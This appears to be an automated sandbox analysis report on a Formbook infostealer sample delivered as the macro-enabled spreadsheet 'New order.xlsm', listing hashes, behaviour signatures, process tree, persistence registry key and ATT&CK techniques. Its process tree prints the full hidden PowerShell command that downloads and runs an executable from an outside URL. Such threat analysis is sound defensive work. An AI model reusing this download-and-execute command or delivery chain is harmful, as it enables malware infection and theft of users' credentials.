formbook | 148a026124126abf74c390c69fbd0bcebce06b600c6a35630cdce29a85a765fc

General

Target

New order.xlsm
Size

92KB
MD5

2433e76542036ab53b138a98eeda548a
SHA1

fa75a6ce57ec974345eb05a9d5e587a1eef772be
SHA256

148a026124126abf74c390c69fbd0bcebce06b600c6a35630cdce29a85a765fc
SHA512

3ae2f70b3d39d85d1befea180ee75815abb20349a90cf3678db2e001d5ac362f68230e30680c897e33a05a6dbc1d8a776505751da043797b15327bb38251d243

Score

10^/10

trojan spyware stealer formbook persistence

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://sagc.be/svc.exe

Signatures

Suspicious use of FindShellTrayWindow 4 IoCs

Processes:

Explorer.EXE

pid process

1200 Explorer.EXE
1200 Explorer.EXE
1200 Explorer.EXE
1200 Explorer.EXE
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1492 EXCEL.EXE

pid	process
1200	Explorer.EXE
1200	Explorer.EXE
1200	Explorer.EXE
1200	Explorer.EXE

pid	process
1492	EXCEL.EXE

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1044	1492	powershell.exe	EXCEL.EXE

Suspicious behavior: MapViewOfSection 7 IoCs

Processes:

putty.execmstp.exe

pid process

1688 putty.exe
1688 putty.exe
1688 putty.exe
1904 cmstp.exe
1904 cmstp.exe
1904 cmstp.exe
1904 cmstp.exe
Blacklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

4 1044 powershell.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware

Data from Local System
T1005

Credentials in Files
T1081
Loads dropped DLL 1 IoCs

Processes:

putty.exe

pid process

464 putty.exe
Office loads VBA resources, possible macro or embedded object present

pid	process
1688	putty.exe
1688	putty.exe
1688	putty.exe
1904	cmstp.exe
1904	cmstp.exe
1904	cmstp.exe
1904	cmstp.exe

flow	pid	process
4	1044	powershell.exe

pid	process
464	putty.exe

Adds Run entry to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

cmstp.exe

description	ioc	process
Key created	\Registry\Machine\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run	cmstp.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\JV1LTXC8TL = "C:\\Program Files (x86)\\Vmrtp8bmx\\vgardyl_r.exe"	cmstp.exe

Suspicious behavior: EnumeratesProcesses 22 IoCs

Processes:

powershell.exeputty.execmstp.exe

pid	process
1044	powershell.exe
1688	putty.exe
1688	putty.exe
1904	cmstp.exe
1904	cmstp.exe
1904	cmstp.exe
1904	cmstp.exe
1904	cmstp.exe
1904	cmstp.exe
1904	cmstp.exe
1904	cmstp.exe
1904	cmstp.exe
1904	cmstp.exe
1904	cmstp.exe
1904	cmstp.exe
1904	cmstp.exe
1904	cmstp.exe
1904	cmstp.exe
1904	cmstp.exe
1904	cmstp.exe
1904	cmstp.exe
1904	cmstp.exe

Executes dropped EXE 2 IoCs

Processes:

putty.exeputty.exe

pid process

464 putty.exe
1688 putty.exe

pid	process
464	putty.exe
1688	putty.exe

Suspicious use of SetThreadContext 3 IoCs

Processes:

putty.exeputty.execmstp.exe

description	pid	process	target process
PID 464 set thread context of 1688	464	putty.exe	putty.exe
PID 1688 set thread context of 1200	1688	putty.exe	Explorer.EXE
PID 1904 set thread context of 1200	1904	cmstp.exe	Explorer.EXE

Suspicious use of SendNotifyMessage 4 IoCs

Processes:

Explorer.EXE

pid process

1200 Explorer.EXE
1200 Explorer.EXE
1200 Explorer.EXE
1200 Explorer.EXE
Formbook
Formbook is a data stealing malware which is capable of stealing data.
trojan spyware stealer formbook
Suspicious use of SetWindowsHookEx 5 IoCs

Processes:

EXCEL.EXE

pid process

1492 EXCEL.EXE
1492 EXCEL.EXE
1492 EXCEL.EXE
1492 EXCEL.EXE
1492 EXCEL.EXE

pid	process
1200	Explorer.EXE
1200	Explorer.EXE
1200	Explorer.EXE
1200	Explorer.EXE

pid	process
1492	EXCEL.EXE
1492	EXCEL.EXE
1492	EXCEL.EXE
1492	EXCEL.EXE
1492	EXCEL.EXE

Suspicious use of WriteProcessMemory 30 IoCs

Processes:

EXCEL.EXEpowershell.exeputty.exeExplorer.EXEcmstp.exe

description	pid	process	target process
PID 1492 wrote to memory of 1044	1492	EXCEL.EXE	powershell.exe
PID 1492 wrote to memory of 1044	1492	EXCEL.EXE	powershell.exe
PID 1492 wrote to memory of 1044	1492	EXCEL.EXE	powershell.exe
PID 1044 wrote to memory of 464	1044	powershell.exe	putty.exe
PID 1044 wrote to memory of 464	1044	powershell.exe	putty.exe
PID 1044 wrote to memory of 464	1044	powershell.exe	putty.exe
PID 1044 wrote to memory of 464	1044	powershell.exe	putty.exe
PID 464 wrote to memory of 1688	464	putty.exe	putty.exe
PID 464 wrote to memory of 1688	464	putty.exe	putty.exe
PID 464 wrote to memory of 1688	464	putty.exe	putty.exe
PID 464 wrote to memory of 1688	464	putty.exe	putty.exe
PID 464 wrote to memory of 1688	464	putty.exe	putty.exe
PID 464 wrote to memory of 1688	464	putty.exe	putty.exe
PID 464 wrote to memory of 1688	464	putty.exe	putty.exe
PID 1200 wrote to memory of 1904	1200	Explorer.EXE	cmstp.exe
PID 1200 wrote to memory of 1904	1200	Explorer.EXE	cmstp.exe
PID 1200 wrote to memory of 1904	1200	Explorer.EXE	cmstp.exe
PID 1200 wrote to memory of 1904	1200	Explorer.EXE	cmstp.exe
PID 1200 wrote to memory of 1904	1200	Explorer.EXE	cmstp.exe
PID 1200 wrote to memory of 1904	1200	Explorer.EXE	cmstp.exe
PID 1200 wrote to memory of 1904	1200	Explorer.EXE	cmstp.exe
PID 1904 wrote to memory of 2024	1904	cmstp.exe	cmd.exe
PID 1904 wrote to memory of 2024	1904	cmstp.exe	cmd.exe
PID 1904 wrote to memory of 2024	1904	cmstp.exe	cmd.exe
PID 1904 wrote to memory of 2024	1904	cmstp.exe	cmd.exe
PID 1904 wrote to memory of 596	1904	cmstp.exe	Firefox.exe
PID 1904 wrote to memory of 596	1904	cmstp.exe	Firefox.exe
PID 1904 wrote to memory of 596	1904	cmstp.exe	Firefox.exe
PID 1904 wrote to memory of 596	1904	cmstp.exe	Firefox.exe
PID 1904 wrote to memory of 596	1904	cmstp.exe	Firefox.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exeputty.execmstp.exe

description pid process

Token: SeDebugPrivilege 1044 powershell.exe
Token: SeDebugPrivilege 1688 putty.exe
Token: SeDebugPrivilege 1904 cmstp.exe
Drops file in Program Files directory 1 IoCs

Processes:

cmstp.exe

description ioc process

File opened for modification C:\Program Files (x86)\Vmrtp8bmx\vgardyl_r.exe cmstp.exe

description	pid	process
Token: SeDebugPrivilege	1044	powershell.exe
Token: SeDebugPrivilege	1688	putty.exe
Token: SeDebugPrivilege	1904	cmstp.exe

description	ioc	process
File opened for modification	C:\Program Files (x86)\Vmrtp8bmx\vgardyl_r.exe	cmstp.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

Processes:

cmstp.exe

description	ioc	process
Key created	\Registry\User\S-1-5-21-910373003-3952921535-3480519689-1000\SOFTWARE\Microsoft\Internet Explorer\IntelliForms\Storage2	cmstp.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1200

C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde "C:\Users\Admin\AppData\Local\Temp\New order.xlsm"
2⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1492

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('http://sagc.be/svc.exe',$env:Temp+'\putty.exe');(New-Object -com Shell.Application).ShellExecute($env:Temp+'\putty.exe')
3⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
PID:1044

C:\Users\Admin\AppData\Local\Temp\putty.exe
"C:\Users\Admin\AppData\Local\Temp\putty.exe"
4⤵
- Loads dropped DLL
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:464

C:\Users\Admin\AppData\Local\Temp\putty.exe
"{path}"
5⤵
- Suspicious behavior: MapViewOfSection
- Suspicious behavior: EnumeratesProcesses
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
PID:1688

C:\Windows\SysWOW64\autofmt.exe
"C:\Windows\SysWOW64\autofmt.exe"
2⤵
PID:1920

C:\Windows\SysWOW64\cmstp.exe
"C:\Windows\SysWOW64\cmstp.exe"
2⤵
- Suspicious behavior: MapViewOfSection
- Adds Run entry to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
- Drops file in Program Files directory
- Modifies Internet Explorer settings
PID:1904

C:\Windows\SysWOW64\cmd.exe
/c del "C:\Users\Admin\AppData\Local\Temp\putty.exe"
3⤵
PID:2024

C:\Program Files\Mozilla Firefox\Firefox.exe
"C:\Program Files\Mozilla Firefox\Firefox.exe"
3⤵
PID:596

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

2

T1112

Credential Access

Credentials in Files

1

T1081

Discovery

Lateral Movement

Collection

Data from Local System

1

T1005

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\putty.exe

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C:\Users\Admin\AppData\Local\Temp\putty.exe

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C:\Users\Admin\AppData\Local\Temp\putty.exe

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C:\Users\Admin\AppData\Roaming\856M-A35\856logim.jpeg

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C:\Users\Admin\AppData\Roaming\856M-A35\856logrf.ini

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C:\Users\Admin\AppData\Roaming\856M-A35\856logri.ini

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C:\Users\Admin\AppData\Roaming\856M-A35\856logrv.ini

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\Users\Admin\AppData\Local\Temp\putty.exe

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memory/464-7-0x0000000000000000-mapping.dmp

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memory/464-11-0x0000000000000000-0x0000000000000000-disk.dmp

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memory/596-23-0x0000000000000000-mapping.dmp

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memory/596-24-0x000000013F0E0000-0x000000013F173000-memory.dmp

Filesize
588KB

Download
memory/1044-6-0x0000000000000000-mapping.dmp

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memory/1492-5-0x0000000002E80000-0x0000000002E81000-memory.dmp

Filesize
4KB

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memory/1492-0-0x0000000006160000-0x0000000006260000-memory.dmp

Filesize
1024KB

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memory/1492-4-0x0000000006160000-0x0000000006260000-memory.dmp

Filesize
1024KB

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memory/1492-2-0x0000000006160000-0x0000000006260000-memory.dmp

Filesize
1024KB

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memory/1492-1-0x0000000002E80000-0x0000000002E81000-memory.dmp

Filesize
4KB

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memory/1688-14-0x000000000041E300-mapping.dmp

Download
memory/1688-13-0x0000000000400000-0x000000000042D000-memory.dmp

Filesize
180KB

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memory/1904-21-0x00000000750B0000-0x00000000751CD000-memory.dmp

Filesize
1.1MB

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memory/1904-22-0x0000000003320000-0x00000000033BC000-memory.dmp

Filesize
624KB

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memory/1904-20-0x0000000077600000-0x000000007760C000-memory.dmp

Filesize
48KB

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memory/1904-19-0x0000000002F20000-0x00000000030AA000-memory.dmp

Filesize
1.5MB

Download
memory/1904-17-0x0000000000460000-0x0000000000478000-memory.dmp

Filesize
96KB

Download
memory/1904-16-0x0000000000000000-mapping.dmp

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memory/2024-18-0x0000000000000000-mapping.dmp

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Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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